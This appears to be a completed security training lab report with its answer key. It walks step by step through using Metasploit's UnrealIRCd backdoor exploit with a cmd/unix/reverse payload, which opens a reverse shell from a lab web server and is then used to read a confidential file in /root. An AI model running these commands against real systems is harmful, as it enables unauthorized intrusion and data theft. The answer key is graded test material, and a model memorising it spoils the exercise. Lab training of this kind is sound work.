Lab Report

Your Performance

Your Score: 2 of 2 (100%) Pass Status: Pass
Elapsed Time: 7 minutes 12 seconds Required Score: 100%

Task Summary

Lab Questions

- ✓ Create a backdoor on www_stage by exploiting the UrealIRDd application
- ✓ Q1What is the name of the new feature added to the tracking app on www_stage?

Your answer: Bagel Barometer
Correct answer: Bagel Barometer

Explanation

In this lab, your task is to:

- Create a backdoor on www_stage using Metasploit by exploiting the UnrealIRCd application using the following information:
  - Search for Unreal exploits.
  - Use the exploit that allows Backdoor Command Execution.
  - Configure the remote host (RHOST) with the 198.28.1.15 IP address; the same IP address as www_stage.
  - Set the payload to the cmd/unix/reverse payload.
  - Verify that the local host (LHOST) was set to the 147.191.29.15 IP address; the same IP address as Consult-Lap2.
  - Execute the exploit.
  - Read the contents of the text file in the /root directory.
- Answer the question.

Complete this lab as follows:

1. Search for UrealIRCd exploits and review the exploit information as follows:
   a. From the Favorites bar, open Metasploit Framework.
   b. At the prompt, type **search Unreal** and press **Enter** to search for any UnrealIRCd exploits.
   c. Type **info exploit/unix/irc/unreal_ircd_3281_backdoor** and press **Enter** to review the exploit information.
   Notice that RHOST is required.
2. Use the exploit/unix/irc/unreal_ircd_3281_backdoor exploit and configure the exploit's RHOST IP address as follows:
   a. Type **use exploit/unix/irc/unreal_ircd_3281_backdoor** and press **Enter** to use the exploit.
   b. Type **show options** and press **Enter**.
   Notice the absence of the current setting for RHOST.
   c. Type **set RHOST 198.28.1.15** and press **Enter** to configure the remote host setting.
   d. Type **show options** and press **Enter** to confirm that RHOST is set.
3. Set the payload as follows:
   a. Type **show payloads** and press **Enter** to list available payloads.
   b. Type **set payload cmd/unix/reverse** and press **Enter** to specify the correct payload.
   c. Type **show options** and press **Enter** to review the exploit's configuration.
   Notice that LHOST is automatically set to the IP address for Consult-Lap2.
4. Execute the exploit and examine the text file in the /root directory as follows:
   a. Type **exploit** and press **Enter** to execute the exploit.
   b. Type **ifconfig** and press **Enter** to confirm that the backdoor has been established.
   Notice the IP address is 198.28.1.15; the same IP address as www_stage.
   c. Type **pwd** and press **Enter** to confirm you are in the /root directory.
   d. Type **ls** and press **Enter** to list the files in the /root directory.
   e. Type **cat Staging_Features_CONFIDENTIAL.txt** and press **Enter** to review the contents of a file that appears to contain sensitive information.

5. In the top right, select **Answer Questions**.
6. Answer the question.
7. Select **Score Lab**.